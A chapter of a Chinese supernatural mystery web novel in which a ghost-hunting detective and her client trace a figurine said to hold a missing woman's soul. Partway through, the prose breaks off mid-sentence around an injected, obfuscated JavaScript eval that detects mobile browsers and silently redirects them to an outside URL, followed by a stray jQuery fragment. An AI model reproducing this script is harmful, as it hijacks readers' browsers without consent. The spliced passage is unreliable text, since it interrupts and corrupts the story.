安静的一夜过去,甚至有点过于安静了。
涂蓝埙躺在最好的公主床上,汤伟宁则住滑梯上的一张小床,N蹲在海洋球池里不肯动弹。万籁俱寂,就连居民楼夜半常见的冲水声咳嗽声都没有。
就好像被什么东西吓跑了一样。
一早起来,电脑女鬼发了梁微的消息来,梁微今早点了生煎粥铺的外卖,看来是不打算出门。
而10110101和汤鹏安的账号被堵死,应该是手机关机,找不到行踪。
汤伟宁出钱租了辆车,两人一鬼顺便在附近早餐店吃饭,她选了靠近店门的座位,又在汤伟宁端来一盘葱油饼时,另要了一杯豆浆一袋糖饼放进车里。
吃饭的时候,涂蓝埙再度给汤伟宁做科普教育:这次来找梁微,主要是找她拿走的小光学校里的东西——和白超有关,找到它没准就找到白超的魂儿了。
汤伟宁独自消化白超的魂被拘了这件事,涂蓝埙感觉他又想自杀,但没关系,那是后话,在找到白超之前他不会死的。
“大师也跟我说过,只要请到鬼胎,就能和超超小句一家子团聚。”汤伟宁很小声说:“你帮我,是有一个追凶正道的梦想吗。”
涂蓝埙向前,郑重道:“太低级了,我当然是为了钱。”
汤伟宁微惊,旋即下定决心,眼光亮亮看过来,“我也可以给你钱的,只要你抓到那个10110101,把它带到我面前来,还有找到超超,这两件事我都可以给你钱!”
“好啊。”
涂蓝埙一直在等的就是这句话。
等吃完回车里,汤伟宁吃了一桌咸早点,想拿个糖饼平衡一下的时候,叫道:“哎,一袋不是五个糖饼吗,怎么只剩三个了?豆浆也不见了。”
涂蓝埙望天:“你记错了吧。”
汤伟宁想不敢忤逆,脸色奇怪,连忙:“哦,是记错了。”
开车来到荷花小区,没费力气就来到梁微家门,她和父母没住在一起,涂蓝埙看一眼汤伟宁,后者上去敲门。
“叩叩叩。”
细碎拖鞋声隔门板响起,猫眼暗了下,没动静,汤伟宁着意出声:“梁微啊,是我,我是大哥。”
门开一道缝,梁微警惕地看过来,但不是看汤伟宁,而是看他身后,涂蓝埙友好道:“我是汤先生请的私家侦探,今天来是有事问您。”
他们到底被放进去,在沙发坐下,梁微连杯水都没端,站得离涂蓝埙很远,恰好将汤伟宁隔在中间,不住打量汤伟宁的胳膊。
汤伟宁一言不发,将袖子挽到最高处,露出肩膊处的一块皮肤,转了转,很光滑,什么都没有。梁微松了口气,捂住嘴巴,倒在沙发里。
“这次来找你主要是一件事……”
涂蓝埙戴着口罩不想多说话,负责沟通的汤伟宁被梁微打断,“不,大哥,你先听我说。”
“你知道多少了?你根本不出差也不去福市,都是借口……”梁微抱起一只沙发垫子,神色恐怖,“我们家有问题!”
汤伟宁愣了下,“所以你才跑回米城。”
他仿佛抓到救命稻草,“小光学校储物柜里的东西不是你拿走的吗,在这吗?拿出来给我!”
梁微费力思考两秒钟,脸上残余迷茫,摇头:“我给扔了。”
汤伟宁站起来,低声咆哮:“扔哪了,什么时候扔的!”
梁微却好像做梦一样,说话前后不搭,哧哧笑了声,“谁在乎呢……现在一切都不对劲,全完了,都回不来了……就剩我一个喽……”
“你说话啊,你把她扔哪去了!”
梁微的眼神忽然变了下,闪烁着,看向汤伟宁:“几个月前,我已经把那包东西扔垃圾桶了,我自己都不记得是哪个垃圾桶,开车沿路很随机的一只。”
估计早被清理了,连去垃圾处理站都未必能找到,汤伟宁颓然坐回去,双手扣紧又放松,不知想掐谁的脖子。
梁微喘息两声,继续说道:“不过,第二天早上,那东西又出现在我家里,就放在我的床头,枕头边上,一睁眼就滑向我的脸,你说奇怪不奇怪,哈哈哈……”
她伸出三根手指头,“我扔了三遍,根本没用。”
涂蓝埙接替汤伟宁问道:“具体是什么东西?”
梁微目露恐惧,这次不用回忆,直接回答:“是个白瓷烧的天使塑像,迷你瓶可乐那么高。”
汤伟宁活过来了,现场下载一个肥鸟软件,打开自己的肥鸟空间,找出很古早的一篇说说,“是这个吗?”
照片是十年前流行的阿宝色滤镜,背景是个壁炉,很陌生,但远角的后门花园格局眼熟,是白家的那栋别墅。
“是这个。”
汤伟宁的眼泪都快下来了,“那是我和超超结婚那年买的。”他紧接着问:“既然没丢掉,那现在在哪呢?”
“在鹿城的家里,尚景府城。”梁微无力道。
所以他们来米城,来错了?
路上已经证明,汤鹏安的问题非常大,而梁微看着像正常人,连N都没说她身上有不属于活人的气。
汤鹏安问出最后一个问题:“我之前发朋友圈的时候,你为什么主动来问我?”
梁微盯住他,很快移开目光,不想看这张面容,“我就是想提醒你,离……离汤鹏安远一点。他没你想的那么好。”
“不过你好像已经知道了。”梁微苦笑,“小句号的死和他有关系,白超的失踪……应该也一样。不管你信不信,这里面真的没有我参与,我已经在起草离婚协议了。”
涂蓝埙好奇:“那你还回鹿城吗?”
“不回了。”梁微摇头,“我准备在米城找一份工作。之前隐瞒大哥的事,是我不对。”
她垂下眼睛,“就当我那时是个自私的母亲吧。”
#
涂蓝埙一行人毫无收获地离开荷花小区,唯一知道的事,承载白超魂魄的白瓷天使塑像,还远在汤鹏安的家里。
“要不要提醒梁微小心一点?鹏安可能会过去。”汤伟宁收拾着行李,还有心思想这个。
“不用。”涂蓝埙似笑非笑,迎上对方目光,“因为她和你一样,都有所隐瞒。”
汤伟宁缩了一下,没有接话,两人背好包,直接下楼打上一辆出租车,汤伟宁拿出几张现金,“师傅,开去新火车站,越快越好。”
最近的一班高铁在半小时后发车,狼狈进站后还剩十三分钟,涂蓝埙直奔米城特产店,买了两件礼盒装的酒酿糯米点心,红盒子红丝绳很喜庆,他们几乎是冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276377|165460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刺检票上了站台。
没办法,打的就是时间差,只要能在汤鹏安反应过来之前先回到鹿城,就是胜利。
“如果他家里没有呢?如果他把超超带出来了呢?”汤伟宁很焦虑。
涂蓝埙没什么所谓,“那就直接堵他。”
到达鹿城是三小时后,一行人直奔尚景府城,汤鹏安家的门轻而易举被打开,扑面而来一股森冷的气息。
家里处处都有医生的风格,物品陈列整齐,格调以素色为主,汤伟宁见涂蓝埙望向旁边空气,也跟着看过去,随后赶紧收回目光。
“有吗?”她用视线问。
“被带走了。”N饶有兴致地说。
他迈开长腿,站在一只书架前面,那是天使塑像曾经被放置的地方。
“这有两个鬼魂的味道。”N转了一圈,“都很淡,都是因为被隔绝在壳子里,只一个是被迫进塑像,一个是主动附于真人。”
涂蓝埙制订一个相当简单但严密的计划,要做的只有等,但在等的过程中,她向便利店的两员大将发布任务。
——对电脑女鬼:搜查鹿城第二医院的电脑系统,尤其是医学废料处理记录和麻醉(、)剂出入库档案这一块,结合医生考勤搜查,力图找出汤鹏安或梁微违规取离流产胎儿和偷盗麻醉(、)剂的证据。
褪黑素不足以让白小句睡到醒不过来,但麻醉尤其是气体麻醉药品可以。
白小句说过,睡梦中感觉“爸爸抱了自己一下”。
——对N则简洁得多,只要看见汤鹏安,揍他,直到把10110101从他身体里揍出来。价钱尽管开,汤伟宁来付。
涂蓝埙一边处理网店订单,一边对汤伟宁说:“这次要是还搞不赢,我就不管了,你直接去报案加自首吧。”
可惜她不光乌鸦嘴,还食言了,算时间汤鹏安肯定已经回了鹿城,但他一直没回家,也没去单位。
这个人就像失踪了,手机关机,谁都找不到他。只能通过网路确认,他没丧病到对准前妻下手,梁微还活着。
汤伟宁沮丧地跺了下地板,瘫坐在汤鹏安家的书柜前,脑袋往后一枕,恰好被一本硬质书磕了后脑勺,“哎呦!”
那本书掉出来,是一本精装版的杂志合集,滑出一枚书签,是张油墨印的学生证,贴着很青涩的少年照片。
汤氏兄弟别管胆识或心肠如何,皮相总是好的,活脱脱是漫画里走出来的美少年,但愣头青版。
“是我们中学的学生证。”汤伟宁眉目似哭似笑,“只鹏安有,我俩最后半学期共用一张,那时候也不好意思去补办。”
涂蓝埙随口问道:“你的去哪了?”
汤伟宁扯扯嘴唇,“不太愉快的故事。”
就在焦灼的等待中,涂蓝埙的网店聊天列表闪动,白小句发来消息,是一张拍得很模糊的照片。鬼拍照片总是发花,可能是磁场干扰的缘故。
照片里,白小句的小胖手托着那只金镯子,她说:“姐姐你看,镯子在动耶,是不是妈妈想我了?”
旁边,N皱了下眉头,隔着屏幕感觉到什么,“死气变淡了,白超的情况不对。”
“怎么说?”
“可能是汤鹏安在做什么,她的魂体快消失了。”